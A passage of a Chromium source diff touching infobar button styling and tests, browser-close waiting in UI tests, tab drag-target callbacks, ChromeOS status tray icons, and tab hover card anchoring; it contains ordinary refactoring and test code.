+++ b/chrome/browser/ui/views/infobars/confirm_infobar.cc
@@ -93,8 +93,11 @@
 
     const bool is_default_button =
         type == buttons || type == ConfirmInfoBarDelegate::BUTTON_OK;
-    button_ptr->SetStyle(is_default_button ? ui::ButtonStyle::kProminent
-                                           : ui::ButtonStyle::kTonal);
+    const auto fallback_style = is_default_button ? ui::ButtonStyle::kProminent
+                                                  : ui::ButtonStyle::kTonal;
+    button_ptr->SetStyle(
+        delegate_ptr->GetButtonStyle(type).value_or(fallback_style));
+
     button_ptr->SetImageModel(views::Button::STATE_NORMAL,
                               delegate_ptr->GetButtonImage(type));
     button_ptr->SetEnabled(delegate_ptr->GetButtonEnabled(type));
diff --git a/chrome/browser/ui/views/infobars/confirm_infobar.h b/chrome/browser/ui/views/infobars/confirm_infobar.h
index 56113c4..d2f56aa 100644
--- a/chrome/browser/ui/views/infobars/confirm_infobar.h
+++ b/chrome/browser/ui/views/infobars/confirm_infobar.h
@@ -39,6 +39,7 @@
   const ConfirmInfoBarDelegate* GetDelegate() const;
 
   views::MdTextButton* ok_button_for_testing() { return ok_button_; }
+  views::MdTextButton* cancel_button_for_testing() { return cancel_button_; }
 
   int target_height_for_testing() const { return target_height(); }
 
diff --git a/chrome/browser/ui/views/infobars/infobar_view_unittest.cc b/chrome/browser/ui/views/infobars/infobar_view_unittest.cc
index 0fbb1cc3..9d3e73f 100644
--- a/chrome/browser/ui/views/infobars/infobar_view_unittest.cc
+++ b/chrome/browser/ui/views/infobars/infobar_view_unittest.cc
@@ -5,6 +5,7 @@
 #include "chrome/browser/ui/views/infobars/infobar_view.h"
 
 #include <memory>
+#include <optional>
 #include <utility>
 
 #include "base/memory/raw_ptr.h"
@@ -72,7 +73,11 @@
 
 class TestConfirmInfoBarDelegate : public ConfirmInfoBarDelegate {
  public:
-  TestConfirmInfoBarDelegate() = default;
+  explicit TestConfirmInfoBarDelegate(
+      int buttons = BUTTON_OK,
+      std::optional<ui::ButtonStyle> ok_style = std::nullopt,
+      std::optional<ui::ButtonStyle> cancel_style = std::nullopt)
+      : buttons_(buttons), ok_style_(ok_style), cancel_style_(cancel_style) {}
   ~TestConfirmInfoBarDelegate() override = default;
 
   infobars::InfoBarDelegate::InfoBarIdentifier GetIdentifier() const override {
@@ -81,7 +86,17 @@
 
   std::u16string GetMessageText() const override { return u"Test message"; }
 
-  int GetButtons() const override { return BUTTON_OK; }
+  int GetButtons() const override { return buttons_; }
+
+  std::optional<ui::ButtonStyle> GetButtonStyle(
+      InfoBarButton button) const override {
+    return (button == BUTTON_OK) ? ok_style_ : cancel_style_;
+  }
+
+ private:
+  int buttons_;
+  std::optional<ui::ButtonStyle> ok_style_;
+  std::optional<ui::ButtonStyle> cancel_style_;
 };
 
 }  // namespace
@@ -214,6 +229,52 @@
   widget->CloseNow();
 }
 
+TEST_F(InfoBarViewUnitTest, DefaultInfoBarButtonStyleSingleButton) {
+  // Single buttons are Prominent by default.
+  // Single OK button.
+  {
+    auto delegate = std::make_unique<TestConfirmInfoBarDelegate>(
+        ConfirmInfoBarDelegate::BUTTON_OK);
+    auto infobar_view = std::make_unique<ConfirmInfoBar>(std::move(delegate));
+
+    EXPECT_EQ(ui::ButtonStyle::kProminent,
+              infobar_view->ok_button_for_testing()->GetStyle());
+  }
+  // Single CANCEL button.
+  {
+    auto delegate = std::make_unique<TestConfirmInfoBarDelegate>(
+        ConfirmInfoBarDelegate::BUTTON_CANCEL);
+    auto infobar_view = std::make_unique<ConfirmInfoBar>(std::move(delegate));
+
+    EXPECT_EQ(ui::ButtonStyle::kProminent,
+              infobar_view->cancel_button_for_testing()->GetStyle());
+  }
+}
+
+TEST_F(InfoBarViewUnitTest, DefaultInfoBarButtonStyleMultipleButton) {
+  auto delegate = std::make_unique<TestConfirmInfoBarDelegate>(
+      ConfirmInfoBarDelegate::BUTTON_OK |
+      ConfirmInfoBarDelegate::BUTTON_CANCEL);
+  auto infobar_view = std::make_unique<ConfirmInfoBar>(std::move(delegate));
+
+  EXPECT_EQ(ui::ButtonStyle::kProminent,
+            infobar_view->ok_button_for_testing()->GetStyle());
+  EXPECT_EQ(ui::ButtonStyle::kTonal,
+            infobar_view->cancel_button_for_testing()->GetStyle());
+}
+
+TEST_F(InfoBarViewUnitTest, CustomInfoBarButtonStyle) {
+  auto delegate = std::make_unique<TestConfirmInfoBarDelegate>(
+      ConfirmInfoBarDelegate::BUTTON_OK | ConfirmInfoBarDelegate::BUTTON_CANCEL,
+      ui::ButtonStyle::kTonal, ui::ButtonStyle::kProminent);
+  auto infobar_view = std::make_unique<ConfirmInfoBar>(std::move(delegate));
+
+  EXPECT_EQ(ui::ButtonStyle::kTonal,
+            infobar_view->ok_button_for_testing()->GetStyle());
+  EXPECT_EQ(ui::ButtonStyle::kProminent,
+            infobar_view->cancel_button_for_testing()->GetStyle());
+}
+
 TEST_F(InfoBarViewUnitTest, IconSizeForInfobarRefresh) {
   auto delegate = std::make_unique<TestInfoBarDelegateWithIcon>();
   auto infobar_view =
diff --git a/chrome/browser/ui/views/media_preview/permission_prompt_preview_browsertest.cc b/chrome/browser/ui/views/media_preview/permission_prompt_preview_browsertest.cc
index ed17c29..9f7bfad 100644
--- a/chrome/browser/ui/views/media_preview/permission_prompt_preview_browsertest.cc
+++ b/chrome/browser/ui/views/media_preview/permission_prompt_preview_browsertest.cc
@@ -107,7 +107,8 @@
   }
 
   void WaitForUserDismissal() override {
-    ui_test_utils::WaitForBrowserToClose();
+    ui_test_utils::BrowserDestroyedObserver observer;
+    observer.Wait();
   }
 };
 
diff --git a/chrome/browser/ui/views/omnibox/omnibox_view_views_browsertest.cc b/chrome/browser/ui/views/omnibox/omnibox_view_views_browsertest.cc
index 936042d59..2d3f7356a 100644
--- a/chrome/browser/ui/views/omnibox/omnibox_view_views_browsertest.cc
+++ b/chrome/browser/ui/views/omnibox/omnibox_view_views_browsertest.cc
@@ -415,7 +415,7 @@
 
 IN_PROC_BROWSER_TEST_F(OmniboxViewViewsTest, SelectAllOnTap) {
 #if BUILDFLAG(IS_OZONE)
-  if (ui::OzonePlatform::GetPlatformNameForTest() == "wayland" &&
+  if (ui::OzonePlatform::RunningOnWaylandForTest() &&
       base::FeatureList::IsEnabled(features::kOzoneBubblesUsePlatformWidgets)) {
     GTEST_SKIP()
         << "This test expects the window to be focused on sending a tap "
diff --git a/chrome/browser/ui/views/passwords/password_bubble_interactive_uitest.cc b/chrome/browser/ui/views/passwords/password_bubble_interactive_uitest.cc
index 01c429f..8b46283 100644
--- a/chrome/browser/ui/views/passwords/password_bubble_interactive_uitest.cc
+++ b/chrome/browser/ui/views/passwords/password_bubble_interactive_uitest.cc
@@ -611,8 +611,9 @@
   SetupAutoSignin(std::move(local_credentials));
   EXPECT_TRUE(IsBubbleShowing());
 
+  ui_test_utils::BrowserDestroyedObserver observer(focused_window);
   focused_window->window()->Close();
-  ui_test_utils::WaitForBrowserToClose(focused_window);
+  observer.Wait();
 
   // Wait until the auto-signin bubble has disappeared, which should happen
   // after its timeout.
diff --git a/chrome/browser/ui/views/passwords/password_change/password_change_toast_browsertest.cc b/chrome/browser/ui/views/passwords/password_change/password_change_toast_browsertest.cc
index 755d6002..fbac3b06 100644
--- a/chrome/browser/ui/views/passwords/password_change/password_change_toast_browsertest.cc
+++ b/chrome/browser/ui/views/passwords/password_change/password_change_toast_browsertest.cc
@@ -70,7 +70,7 @@
   }
 
   void WaitForUserDismissal() override {
-    ui_test_utils::WaitForBrowserToClose(browser());
+    ui_test_utils::BrowserDestroyedObserver().Wait();
   }
 
  private:
diff --git a/chrome/browser/ui/views/permissions/chip/LHS_indicators_interactive_uitest.cc b/chrome/browser/ui/views/permissions/chip/LHS_indicators_interactive_uitest.cc
index 275575d..03e0ae7 100644
--- a/chrome/browser/ui/views/permissions/chip/LHS_indicators_interactive_uitest.cc
+++ b/chrome/browser/ui/views/permissions/chip/LHS_indicators_interactive_uitest.cc
@@ -163,7 +163,7 @@
 
   void WaitForUserDismissal() override {
     // Consider closing the browser to be dismissal.
-    ui_test_utils::WaitForBrowserToClose();
+    ui_test_utils::BrowserDestroyedObserver().Wait();
   }
 
   void RequestPermission(permissions::RequestType request_type) {
diff --git a/chrome/browser/ui/views/permissions/permission_metrics_ui_test.cc b/chrome/browser/ui/views/permissions/permission_metrics_ui_test.cc
index 0f622874..ad522228 100644
--- a/chrome/browser/ui/views/permissions/permission_metrics_ui_test.cc
+++ b/chrome/browser/ui/views/permissions/permission_metrics_ui_test.cc
@@ -149,8 +149,9 @@
   observer_tab_0.Wait();
 
   // Close browser without decision
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseWindow(browser());
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
 
   histograms.ExpectUniqueSample(
       "Permissions.Prompt.Notifications.LocationBarLeftChipAutoBubble."
diff --git a/chrome/browser/ui/views/permissions/permission_request_chip_browsertest.cc b/chrome/browser/ui/views/permissions/permission_request_chip_browsertest.cc
index 12b30d68..33f5907 100644
--- a/chrome/browser/ui/views/permissions/permission_request_chip_browsertest.cc
+++ b/chrome/browser/ui/views/permissions/permission_request_chip_browsertest.cc
@@ -347,7 +347,7 @@
 
   void WaitForUserDismissal() override {
     // Consider closing the browser to be dismissal.
-    ui_test_utils::WaitForBrowserToClose();
+    ui_test_utils::BrowserDestroyedObserver().Wait();
   }
 
  private:
diff --git a/chrome/browser/ui/views/profiles/profile_picker_view_browsertest.cc b/chrome/browser/ui/views/profiles/profile_picker_view_browsertest.cc
index b19c776a..b4ffe9f 100644
--- a/chrome/browser/ui/views/profiles/profile_picker_view_browsertest.cc
+++ b/chrome/browser/ui/views/profiles/profile_picker_view_browsertest.cc
@@ -2775,8 +2775,9 @@
   WaitForLoadStop(GURL("chrome://profile-picker"));
 
   // Close the browser window.
+  ui_test_utils::BrowserDestroyedObserver observer(browser());
   chrome::CloseAllBrowsersWithProfile(browser()->profile());
-  ui_test_utils::WaitForBrowserToClose(browser());
+  observer.Wait();
   base::RunLoop().RunUntilIdle();
   ASSERT_EQ(0u, chrome::GetTotalBrowserCount());
 
diff --git a/chrome/browser/ui/views/save_to_drive/account_chooser_controller_interactive_uitest.cc b/chrome/browser/ui/views/save_to_drive/account_chooser_controller_interactive_uitest.cc
index 4fd1187..94bb6f1 100644
--- a/chrome/browser/ui/views/save_to_drive/account_chooser_controller_interactive_uitest.cc
+++ b/chrome/browser/ui/views/save_to_drive/account_chooser_controller_interactive_uitest.cc
@@ -353,13 +353,22 @@
       Do([&waiter]() { EXPECT_TRUE(waiter.Wait()); }));
 }
 
+// TODO(481839673): Re-enable on ChromeOS.
+#if BUILDFLAG(IS_CHROMEOS)
+#define MAYBE_RemoveOneAccountFromMultipleAccounts \
+  DISABLED_RemoveOneAccountFromMultipleAccounts
+#else
+#define MAYBE_RemoveOneAccountFromMultipleAccounts \
+  RemoveOneAccountFromMultipleAccounts
+#endif  // BUILDFLAG(IS_CHROMEOS)
+
 // Steps:
 // 1. Call GetAccount with multiple accounts.
 // 2. Remove an account.
 // 3. Verify the account chooser is shown.
 // 4. Verify the account is selected.
 IN_PROC_BROWSER_TEST_F(AccountChooserControllerInteractiveUiTest,
-                       RemoveOneAccountFromMultipleAccounts) {
+                       MAYBE_RemoveOneAccountFromMultipleAccounts) {
   std::vector<AccountInfo> accounts =
       GetTestAccounts({"pothos", "fern"}, "test.com");
   // Populate the persisted accounts with two empty accounts so it is legal to
@@ -394,6 +403,9 @@
       Do([&waiter]() { EXPECT_TRUE(waiter.Wait()); }));
 }
 
+// This test doesn't make sense for ChromeOS. ChromeOS requires at least one
+// account.
+#if !BUILDFLAG(IS_CHROMEOS)
 // Steps:
 // 1. Call GetAccount with one account.
 // 2. Remove the account.
@@ -412,6 +424,7 @@
           &persisted_account),
       VerifyPopupOpened());
 }
+#endif  // !BUILDFLAG(IS_CHROMEOS)
 
 // Steps:
 // 1. Call GetAccount with a signed out primary account.
diff --git a/chrome/browser/ui/views/side_panel/extensions/extension_side_panel_browsertest.cc b/chrome/browser/ui/views/side_panel/extensions/extension_side_panel_browsertest.cc
index e7e0e28..2966c78c 100644
--- a/chrome/browser/ui/views/side_panel/extensions/extension_side_panel_browsertest.cc
+++ b/chrome/browser/ui/views/side_panel/extensions/extension_side_panel_browsertest.cc
@@ -1091,8 +1091,7 @@
 
   // Open a new browser window.
   Browser* second_browser = CreateBrowser(browser()->profile());
-  TabStripModel* target_tab_strip =
-      ExtensionTabUtil::GetEditableTabStripModel(second_browser);
+  TabStripModel* target_tab_strip = second_browser->tab_strip_model();
 
   // Detach the second tab from `browser()` and add it to the new browser.
   std::unique_ptr<tabs::TabModel> detached_tab =
diff --git a/chrome/browser/ui/views/side_panel/side_panel.cc b/chrome/browser/ui/views/side_panel/side_panel.cc
index 7212a5d1..d484181 100644
--- a/chrome/browser/ui/views/side_panel/side_panel.cc
+++ b/chrome/browser/ui/views/side_panel/side_panel.cc
@@ -17,7 +17,7 @@
 #include "chrome/browser/ui/ui_features.h"
 #include "chrome/browser/ui/views/chrome_layout_provider.h"
 #include "chrome/browser/ui/views/frame/browser_view.h"
-#include "chrome/browser/ui/views/frame/top_container_background.h"
+#include "chrome/browser/ui/views/frame/themed_background.h"
 #include "chrome/browser/ui/views/side_panel/side_panel_animation_coordinator.h"
 #include "chrome/browser/ui/views/side_panel/side_panel_animation_ids.h"
 #include "chrome/browser/ui/views/side_panel/side_panel_entry.h"
@@ -165,7 +165,7 @@
       canvas->ClipPath(rounded_border_path, /*do_anti_alias=*/true);
 
       // Draw the top-container background.
-      TopContainerBackground::PaintBackground(canvas, &view, browser_view_);
+      ThemedBackground::PaintBackground(canvas, &view, browser_view_);
     }
 
     // Paint the inner border around SidePanel content. Since half the stroke
@@ -187,7 +187,7 @@
       // can't remove this rectangle, or we get some visual artifacts, so
       // instead just draw it in the background color.
       std::optional<SkColor> bg_color =
-          TopContainerBackground::GetBackgroundColor(&view, browser_view_);
+          ThemedBackground::GetBackgroundColor(&view, browser_view_);
       if (bg_color) {
         flags.setColor(*bg_color);
       }
diff --git a/chrome/browser/ui/views/status_icons/DEPS b/chrome/browser/ui/views/status_icons/DEPS
index f37ea90..43b2c28 100644
--- a/chrome/browser/ui/views/status_icons/DEPS
+++ b/chrome/browser/ui/views/status_icons/DEPS
@@ -6,4 +6,8 @@
   "status_icon_chromeos\\.cc": [
     "+ash/shell.h",
   ],
+
+  "status_tray_chromeos\\.cc": [
+    "+ash/constants/chrome_custom_icon_catalog.h",
+  ],
 }
diff --git a/chrome/browser/ui/views/status_icons/status_tray_chromeos.cc b/chrome/browser/ui/views/status_icons/status_tray_chromeos.cc
index 047a10a..8686fb6 100644
--- a/chrome/browser/ui/views/status_icons/status_tray_chromeos.cc
+++ b/chrome/browser/ui/views/status_icons/status_tray_chromeos.cc
@@ -6,16 +6,34 @@
 
 #include <memory>
 
+#include "ash/constants/chrome_custom_icon_catalog.h"
+#include "base/notreached.h"
 #include "chrome/browser/ui/views/status_icons/status_icon_chromeos.h"
 #include "chrome/common/chrome_features.h"
 
 namespace {
 
+using ChromeCustomIconCatalogName = ash::ChromeCustomIconCatalogName;
+
 constexpr int64_t kBaseIconId = 2;
 int64_t ReservedIconId(StatusTray::StatusIconType type) {
   return kBaseIconId + static_cast<int64_t>(type);
 }
 
+ChromeCustomIconCatalogName GetCatalogName(StatusTray::StatusIconType type) {
+  switch (type) {
+    case StatusTray::GLIC_ICON:
+      return ChromeCustomIconCatalogName::kGlic;
+    case StatusTray::NOTIFICATION_TRAY_ICON:
+    case StatusTray::MEDIA_STREAM_CAPTURE_ICON:
+    case StatusTray::BACKGROUND_MODE_ICON:
+    case StatusTray::OTHER_ICON:
+      return ChromeCustomIconCatalogName::kNotSupported;
+    default:
+      NOTREACHED();
+  }
+}
+
 }  // namespace
 
 StatusTrayChromeOS::StatusTrayChromeOS() = default;
@@ -26,6 +44,12 @@
     StatusIconType type,
     const gfx::ImageSkia& image,
     const std::u16string& tool_tip) {
+  // To add icons of other `StatusIconType` to StatusTray of ChromeOS, please
+  // update a new entry in `ash::ChromeCustomIconCatalogName`.
+  if (GetCatalogName(type) == ChromeCustomIconCatalogName::kNotSupported) {
+    return nullptr;
+  }
+
   int64_t next_icon_id;
   if (type == StatusTray::OTHER_ICON) {
     next_icon_id = NextIconId();
diff --git a/chrome/browser/ui/views/tabs/dragging/tab_drag_controller.cc b/chrome/browser/ui/views/tabs/dragging/tab_drag_controller.cc
index cc483e4..a4b8c5eb 100644
--- a/chrome/browser/ui/views/tabs/dragging/tab_drag_controller.cc
+++ b/chrome/browser/ui/views/tabs/dragging/tab_drag_controller.cc
@@ -924,7 +924,7 @@
       return Liveness::kDeleted;
     }
     target_context = context;
-    UpdateDragTarget(drop_target);
+    UpdateDragTarget(drop_target, point_in_screen);
     if (current_drag_target_) {
       TabDragContext* delegate_context =
           current_drag_target_->OnTabDragUpdated(*this, point_in_screen);
@@ -956,9 +956,10 @@
   return Liveness::kAlive;
 }
 
-void TabDragController::UpdateDragTarget(TabDragTarget* new_target) {
+void TabDragController::UpdateDragTarget(TabDragTarget* new_target,
+                                         const gfx::Point& point_in_screen) {
   if (current_drag_target_ && current_drag_target_ != new_target) {
-    current_drag_target_->OnTabDragExited();
+    current_drag_target_->OnTabDragExited(point_in_screen);
   }
   current_drag_target_ = new_target;
   if (current_drag_target_) {
diff --git a/chrome/browser/ui/views/tabs/dragging/tab_drag_controller.h b/chrome/browser/ui/views/tabs/dragging/tab_drag_controller.h
index 9290051..2221434 100644
--- a/chrome/browser/ui/views/tabs/dragging/tab_drag_controller.h
+++ b/chrome/browser/ui/views/tabs/dragging/tab_drag_controller.h
@@ -544,7 +544,8 @@
 #endif  // defined(USE_AURA)
 
   // Updates the current drag target, and fires relevant handler events.
-  void UpdateDragTarget(TabDragTarget* new_target);
+  void UpdateDragTarget(TabDragTarget* new_target,
+                        const gfx::Point& point_in_screen);
   void ResetDragTarget();
 
   static void SetTabDragPointResolver(TabDragPointResolver& resolver);
diff --git a/chrome/browser/ui/views/tabs/dragging/tab_drag_controller_interactive_uitest.cc b/chrome/browser/ui/views/tabs/dragging/tab_drag_controller_interactive_uitest.cc
index 7079197..22a7dd83 100644
--- a/chrome/browser/ui/views/tabs/dragging/tab_drag_controller_interactive_uitest.cc
+++ b/chrome/browser/ui/views/tabs/dragging/tab_drag_controller_interactive_uitest.cc
@@ -181,7 +181,9 @@
     return nullptr;
   }
   void OnTabDragEntered() override { drag_entered_ = true; }
-  void OnTabDragExited() override { drag_exited_ = true; }
+  void OnTabDragExited(const gfx::Point& point_in_screen) override {
+    drag_exited_ = true;
+  }
   void OnTabDragEnded() override { drag_ended_ = true; }
   bool CanDropTab() override { return can_drop_; }
   void HandleTabDrop(DragController& controller) override {
diff --git a/chrome/browser/ui/views/tabs/dragging/tab_drag_target.h b/chrome/browser/ui/views/tabs/dragging/tab_drag_target.h
index 1ce6b959..77444226 100644
--- a/chrome/browser/ui/views/tabs/dragging/tab_drag_target.h
+++ b/chrome/browser/ui/views/tabs/dragging/tab_drag_target.h
@@ -59,7 +59,7 @@
       const gfx::Point& point_in_screen) = 0;
 
   // Invoked when this delegate is no longer targeted by the controller.
-  virtual void OnTabDragExited() = 0;
+  virtual void OnTabDragExited(const gfx::Point& point_in_screen) = 0;
 
   // Notification for the end of a drag, for any reason (e.g. drop, cancel,
   // etc.).
diff --git a/chrome/browser/ui/views/tabs/hover_card_anchor_target.h b/chrome/browser/ui/views/tabs/hover_card_anchor_target.h
index 962acb5..7fe7bb3 100644
--- a/chrome/browser/ui/views/tabs/hover_card_anchor_target.h
+++ b/chrome/browser/ui/views/tabs/hover_card_anchor_target.h
@@ -6,6 +6,7 @@
 #define CHROME_BROWSER_UI_VIEWS_TABS_HOVER_CARD_ANCHOR_TARGET_H_
 
 #include "base/memory/raw_ptr.h"
+#include "ui/views/bubble/bubble_border.h"
 
 class HoverCardAnchorTarget;
 struct TabRendererData;
@@ -36,6 +37,8 @@
   virtual const views::View* GetAnchorView() const;
   static HoverCardAnchorTarget* FromAnchorView(views::View* anchor_view);
 
+  virtual views::BubbleBorder::Arrow GetAnchorPosition() const = 0;
+
  private:
   raw_ptr<views::View> anchor_view_;
 };
diff --git a/chrome/browser/ui/views/tabs/shared/tab_strip_flat_edge_button.cc b/chrome/browser/ui/views/tabs/shared/tab_strip_flat_edge_button.cc
index 18437ed..2a527ad 100644
--- a/chrome/browser/ui/views/tabs/shared/tab_strip_flat_edge_button.cc
+++ b/chrome/browser/ui/views/tabs/shared/tab_strip_flat_edge_button.cc
@@ -48,6 +48,11 @@
     }
   }
 
+  void InvokeActionImpl(actions::ActionItem* action_item) override {
+    action_view_->NotifyWillInvokeAction();
+    LabelButtonActionViewInterface::InvokeActionImpl(action_item);
+  }
+
  private:
   raw_ptr<TabStripFlatEdgeButton> action_view_ = nullptr;
 };
@@ -61,6 +66,8 @@
       GetLayoutConstant(LayoutConstant::kVerticalTabStripBottomButtonIconSize));
 }
 
+TabStripFlatEdgeButton::~TabStripFlatEdgeButton() = default;
+
 std::unique_ptr<views::ActionViewInterface>
 TabStripFlatEdgeButton::GetActionViewInterface() {
   return std::make_unique<TabStripFlatEdgeButtonActionViewInterface>(this);
@@ -85,6 +92,16 @@
   SetBorder(std::move(border));
 }
 
+base::CallbackListSubscription
+TabStripFlatEdgeButton::RegisterWillInvokeActionCallback(
+    base::RepeatingClosure callback) {
+  return will_invoke_action_callback_list_.Add(std::move(callback));
+}
+
+void TabStripFlatEdgeButton::NotifyWillInvokeAction() {
+  will_invoke_action_callback_list_.Notify();
+}
+
 void TabStripFlatEdgeButton::OnPaintBackground(gfx::Canvas* canvas) {
   const SkColor color = GetColorProvider()->GetColor(GetBackgroundColor());
 
diff --git a/chrome/browser/ui/views/tabs/shared/tab_strip_flat_edge_button.h b/chrome/browser/ui/views/tabs/shared/tab_strip_flat_edge_button.h
index ea63171..a5bfb5b 100644
--- a/chrome/browser/ui/views/tabs/shared/tab_strip_flat_edge_button.h
+++ b/chrome/browser/ui/views/tabs/shared/tab_strip_flat_edge_button.h
@@ -23,7 +23,7 @@
     kRight,
   };
   TabStripFlatEdgeButton();
-  ~TabStripFlatEdgeButton() override = default;
+  ~TabStripFlatEdgeButton() override;
 
   // views::LabelButton:
   std::unique_ptr<views::ActionViewInterface> GetActionViewInterface() override;
@@ -37,6 +37,10 @@
   void UpdateIcon(const ui::ImageModel& icon_image);
   void SetInsets(const gfx::Insets& insets);
 
+  base::CallbackListSubscription RegisterWillInvokeActionCallback(
+      base::RepeatingClosure callback);
+  void NotifyWillInvokeAction();
+
   FlatEdge flat_edge_for_testing() const { return flat_edge_; }
 
  private:
@@ -52,6 +56,8 @@
   int icon_size_ = 0;
   FlatEdge flat_edge_ = FlatEdge::kNone;
   base::CallbackListSubscription paint_as_active_subscription_;
+
+  base::RepeatingClosureList will_invoke_action_callback_list_;
 };
 
 #endif  // CHROME_BROWSER_UI_VIEWS_TABS_SHARED_TAB_STRIP_FLAT_EDGE_BUTTON_H_
diff --git a/chrome/browser/ui/views/tabs/tab.cc b/chrome/browser/ui/views/tabs/tab.cc
index 547a3aea..004c61d 100644
--- a/chrome/browser/ui/views/tabs/tab.cc
+++ b/chrome/browser/ui/views/tabs/tab.cc
@@ -89,6 +89,7 @@
 #include "ui/resources/grit/ui_resources.h"
 #include "ui/views/accessibility/view_accessibility.h"
 #include "ui/views/border.h"
+#include "ui/views/bubble/bubble_border.h"
 #include "ui/views/controls/button/image_button.h"
 #include "ui/views/controls/focus_ring.h"
 #include "ui/views/controls/highlight_path_generator.h"
@@ -926,6 +927,10 @@
   return data_;
 }
 
+views::BubbleBorder::Arrow Tab::GetAnchorPosition() const {
+  return views::BubbleBorder::Arrow::TOP_LEFT;
+}
+
 void Tab::ActiveStateChanged() {
   UpdateTabIconAttention();
   UpdateForegroundColors();
diff --git a/chrome/browser/ui/views/tabs/tab.h b/chrome/browser/ui/views/tabs/tab.h
index a833bd7..5d4ca3c 100644
--- a/chrome/browser/ui/views/tabs/tab.h
+++ b/chrome/browser/ui/views/tabs/tab.h
@@ -135,6 +135,7 @@
   bool IsActive() const override;
   bool IsValid() const override;
   const TabRendererData& data() const override;
+  views::BubbleBorder::Arrow GetAnchorPosition() const override;
 
   // Notifies the AlertIndicatorButton that the active state of this tab has
   // changed.
diff --git a/chrome/browser/ui/views/tabs/tab_hover_card_bubble_view.cc b/chrome/browser/ui/views/tabs/tab_hover_card_bubble_view.cc
index f16bafe..61d463e5 100644
--- a/chrome/browser/ui/views/tabs/tab_hover_card_bubble_view.cc
+++ b/chrome/browser/ui/views/tabs/tab_hover_card_bubble_view.cc
@@ -383,7 +383,7 @@
     HoverCardAnchorTarget* anchor_target,
     const InitParams& params)
     : BubbleDialogDelegateView(anchor_target->GetAnchorView(),
-                               views::BubbleBorder::TOP_LEFT,
+                               anchor_target->GetAnchorPosition(),
                                views::BubbleBorder::STANDARD_SHADOW),
       tab_style_(TabStyle::Get()),
       bubble_params_(params) {
diff --git a/chrome/browser/ui/views/tabs/tab_hover_card_controller.cc b/chrome/browser/ui/views/tabs/tab_hover_card_controller.cc
index 99c59dbf..0b85a39 100644
--- a/chrome/browser/ui/views/tabs/tab_hover_card_controller.cc
+++ b/chrome/browser/ui/views/tabs/tab_hover_card_controller.cc
@@ -166,11 +166,13 @@
   void OnEvent(const ui::Event& event) override {
     bool close_hover_card = true;
     if (event.IsKeyEvent()) {
+      bool is_tab_focused =
+          controller_->tab_strip_->GetFocusedTabIndex().has_value();
       // Hover card needs to be dismissed (and regenerated) if the keypress
       // would select the tab (this also takes focus out of the tabstrip).
       close_hover_card = event.AsKeyEvent()->key_code() == ui::VKEY_RETURN ||
                          event.AsKeyEvent()->key_code() == ui::VKEY_ESCAPE ||
-                         !controller_->tab_strip_->IsFocusInTabs();
+                         !is_tab_focused;
     }
 
     if (close_hover_card) {
@@ -190,8 +192,11 @@
 // static
 bool TabHoverCardController::disable_animations_for_testing_ = false;
 
-TabHoverCardController::TabHoverCardController(TabStrip* tab_strip)
+TabHoverCardController::TabHoverCardController(
+    TabStripRegionView* tab_strip,
+    BrowserWindowInterface* browser_window_interface)
     : tab_strip_(tab_strip),
+      browser_window_interface_(browser_window_interface),
       tab_resource_usage_collector_(TabResourceUsageCollector::Get()) {
   if (PrefService* pref_service = g_browser_process->local_state()) {
     // Hovercard image previews are still not fully rolled out to all platforms
@@ -212,8 +217,6 @@
 
     // Register for memory usage enabled pref change events. Exclude
     // tracking them for system web apps (e.g. ChromeOS terminal app).
-    BrowserWindowInterface* browser_window_interface =
-        tab_strip_->GetBrowserWindowInterface();
     if (!browser_window_interface) {
       CHECK_IS_TEST();
     } else if (!IsBrowserForSystemWebApp(browser_window_interface)) {
@@ -325,6 +328,11 @@
     OnViewIsDeleting(hover_card_);
   }
 
+  if (hover_card_ && anchor_target &&
+      hover_card_->arrow() != anchor_target->GetAnchorPosition()) {
+    hover_card_->SetArrow(anchor_target->GetAnchorPosition());
+  }
+
   // If a hover card is being updated because of a data change, the hover card
   // had better already be showing for the affected tab.
   if (update_type == TabSlotController::HoverCardUpdateType::kTabDataChanged) {
@@ -379,8 +387,10 @@
     // Use the largest tab in the tab strip when determining the delay so that
     // the delay is consistent for all tabs within the tab strip.
     int largest_tab = anchor_target->GetAnchorView()->width();
-    for (int i = 0; i < tab_strip_->GetTabCount(); i++) {
-      largest_tab = std::max(largest_tab, tab_strip_->tab_at(i)->width());
+    for (int i = 0; i < browser_window_interface_->GetTabStripModel()->count();
+         i++) {
+      largest_tab =
+          std::max(largest_tab, tab_strip_->GetTabAnchorViewAt(i)->width());
     }
     delayed_show_timer_.Start(
         FROM_HERE, GetShowDelay(largest_tab),
@@ -522,8 +532,7 @@
   TabHoverCardBubbleView::InitParams params;
   params.use_animation = UseAnimations();
   // In some browser types (e.g. ChromeOS terminal app) hide the domain label.
-  params.show_domain =
-      !IsBrowserForSystemWebApp(tab_strip_->GetBrowserWindowInterface());
+  params.show_domain = !IsBrowserForSystemWebApp(browser_window_interface_);
   params.show_memory_usage = hover_card_memory_usage_enabled_;
   params.show_image_preview = hover_card_image_previews_enabled_;
 
diff --git a/chrome/browser/ui/views/tabs/tab_hover_card_controller.h b/chrome/browser/ui/views/tabs/tab_hover_card_controller.h
index b4d7b39a..20034a3 100644
--- a/chrome/browser/ui/views/tabs/tab_hover_card_controller.h
+++ b/chrome/browser/ui/views/tabs/tab_hover_card_controller.h
@@ -30,13 +30,15 @@
 class HoverCardAnchorTarget;
 class TabHoverCardBubbleView;
 class TabHoverCardThumbnailObserver;
-class TabStrip;
+class TabStripRegionView;
+class BrowserWindowInterface;
 
 // Controls how hover cards are shown and hidden for tabs.
 class TabHoverCardController : public views::ViewObserver,
                                public TabResourceUsageCollector::Observer {
  public:
-  explicit TabHoverCardController(TabStrip* tab_strip);
+  TabHoverCardController(TabStripRegionView* tab_strip,
+                         BrowserWindowInterface* browser_window_interface);
   ~TabHoverCardController() override;
 
   bool IsHoverCardVisible() const;
@@ -56,6 +58,9 @@
     disable_animations_for_testing_ = disable_animations_for_testing;
   }
 
+ protected:
+  TabHoverCardController();  // For testing only
+
  private:
   FRIEND_TEST_ALL_PREFIXES(TabHoverCardControllerTest, ShowWrongTabDoesntCrash);
   FRIEND_TEST_ALL_PREFIXES(TabHoverCardControllerTest,
@@ -158,7 +163,8 @@
   base::TimeTicks last_mouse_exit_timestamp_;
 
   raw_ptr<HoverCardAnchorTarget> target_tab_ = nullptr;
-  const raw_ptr<TabStrip> tab_strip_;
+  const raw_ptr<TabStripRegionView> tab_strip_;
+  raw_ptr<BrowserWindowInterface> browser_window_interface_;
